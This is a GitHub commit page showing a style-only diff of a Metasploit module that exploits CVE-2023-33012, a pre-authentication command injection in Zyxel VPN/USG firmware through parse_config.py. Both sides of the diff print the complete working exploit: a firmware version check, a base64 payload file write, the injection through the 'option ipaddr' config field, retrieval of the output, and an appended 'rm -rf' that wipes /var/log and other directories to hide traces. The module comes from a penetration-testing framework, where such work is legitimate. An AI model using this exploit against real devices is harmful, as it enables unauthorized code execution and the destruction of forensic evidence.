Skip to content

Commit d13ce0b

Browse files
committed
rubocop fixes
1 parent 92b2599 commit d13ce0b

File tree

1 file changed

+51
-55
lines changed

1 file changed

+51
-55
lines changed

modules/exploits/linux/http/zyxel_parse_config_rce.rb

Lines changed: 51 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -13,60 +13,56 @@ def initialize(info = {})
1313
super(
1414
update_info(
1515
info,
16-
'Name' => 'Zyxel parse_config.py Command Injection',
17-
'Description' => %q(
16+
'Name' => 'Zyxel parse_config.py Command Injection',
17+
'Description' => %q{
1818
This module exploits vulnerabilities in multiple Zyxel Products including VPN and USG devices (hopefully,
1919
this is still in draft at the time of writing). The affected firmware version is 5.21 thru to 5.36.
20-
),
21-
'Author' =>
22-
[
23-
'SSD Secure Disclosure technical team', # discovery
24-
'jheysel-r7' # module
25-
],
26-
'References' =>
27-
[
28-
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/'],
29-
[ 'CVE', '2023-33012']
30-
],
31-
'License' => MSF_LICENSE,
32-
'Platform' => ['linux', 'unix'],
33-
'Privileged' => true,
34-
'Arch' => [ ARCH_CMD ],
35-
'Targets' =>
36-
[
37-
[ 'Automatic Target', {}]
38-
],
20+
},
21+
'Author' => [
22+
'SSD Secure Disclosure technical team', # discovery
23+
'jheysel-r7' # module
24+
],
25+
'References' => [
26+
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/'],
27+
[ 'CVE', '2023-33012']
28+
],
29+
'License' => MSF_LICENSE,
30+
'Platform' => ['linux', 'unix'],
31+
'Privileged' => true,
32+
'Arch' => [ ARCH_CMD ],
33+
'Targets' => [
34+
[ 'Automatic Target', {}]
35+
],
3936
'DefaultTarget' => 0,
4037
'DisclosureDate' => '2024-01-24',
41-
'Notes' =>
42-
{
43-
'Stability' => [ CRASH_SAFE, ],
44-
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
45-
'Reliability' => [ REPEATABLE_SESSION, ],
46-
},
38+
'Notes' => {
39+
'Stability' => [ CRASH_SAFE, ],
40+
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
41+
'Reliability' => [ REPEATABLE_SESSION, ]
42+
}
4743
)
4844
)
4945

5046
register_options(
5147
[
5248
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
53-
],
49+
]
5450
)
5551
end
5652

57-
5853
def check
5954
res = send_request_cgi({
60-
'method' => 'GET',
61-
'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js'),
62-
})
55+
'method' => 'GET',
56+
'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js')
57+
})
6358
return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?
6459

6560
if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/
6661
return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36')
62+
6763
return CheckCode::Safe
6864
end
69-
CheckCode::Unknown("Version info was not found.")
65+
CheckCode::Unknown('Version info was not found.')
7066
end
7167

7268
def exploit
@@ -76,9 +72,9 @@ def exploit
7672
payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"
7773

7874
command = payload.encoded
79-
command += <<-CMD
80-
2>/var/log/ztplog 1>/var/log/ztplog
81-
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
75+
command += <<~CMD
76+
2>/var/log/ztplog 1>/var/log/ztplog
77+
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
8278
CMD
8379
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"
8480

@@ -87,46 +83,46 @@ def exploit
8783
file_write_pload += "option name 1\n"
8884

8985
config = Base64.strict_encode64(file_write_pload)
90-
data = { "config" => config, "fqdn" => "\x00" }
86+
data = { 'config' => config, 'fqdn' => "\x00" }
9187
print_status('Attempting to upload the payload via QSR file write...')
9288

9389
file_write_res = send_request_cgi({
94-
'method' => 'POST',
95-
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
96-
'data' => data.to_s,
97-
})
90+
'method' => 'POST',
91+
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
92+
'data' => data.to_s
93+
})
9894
fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
9995
register_files_for_cleanup(payload_filepath)
10096
print_good('File write was successful.')
10197

102-
cmd_injection_pload = "option proto gre\n"
98+
cmd_injection_pload = "option proto gre\n"
10399
cmd_injection_pload += "option name 0\n"
104100
cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"
105101
cmd_injection_pload += "option netmask 24\n"
106102
cmd_injection_pload += "option gateway 0\n"
107103
cmd_injection_pload += "option localip #{Faker::Internet.private_ip_v4_address}\n"
108104
cmd_injection_pload += "option remoteip #{Faker::Internet.private_ip_v4_address}\n"
109105
config = Rex::Text.encode_base64(cmd_injection_pload)
110-
data = { "config" => config, "fqdn" => "\x00" }
106+
data = { 'config' => config, 'fqdn' => "\x00" }
111107

112108
cmd_injection_res = send_request_cgi({
113-
'method' => 'POST',
114-
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
115-
'data' => data.to_s,
116-
})
109+
'method' => 'POST',
110+
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
111+
'data' => data.to_s
112+
})
117113

118114
fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if cmd_injection_res && cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
119115

120-
#Unecessary if running a fetch payload though adding for testing
116+
# Unecessary if running a fetch payload though adding for testing
121117
cmd_ouput_res = send_request_cgi({
122-
'method' => 'GET',
123-
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py'),
124-
})
118+
'method' => 'GET',
119+
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py')
120+
})
125121

126122
output = cmd_ouput_res.body.split("</head>\n<body>")[1]
127123
output = output.split("</body>\n</html>")[0]
128-
output = output.gsub("\n\n<br>", "")
129-
output = output.gsub("[IPC]IPC result: 1\n", "")
130-
print_good("Command output: #{output}" )
124+
output = output.gsub("\n\n<br>", '')
125+
output = output.gsub("[IPC]IPC result: 1\n", '')
126+
print_good("Command output: #{output}")
131127
end
132-
end
128+
end

0 commit comments

Comments
 (0)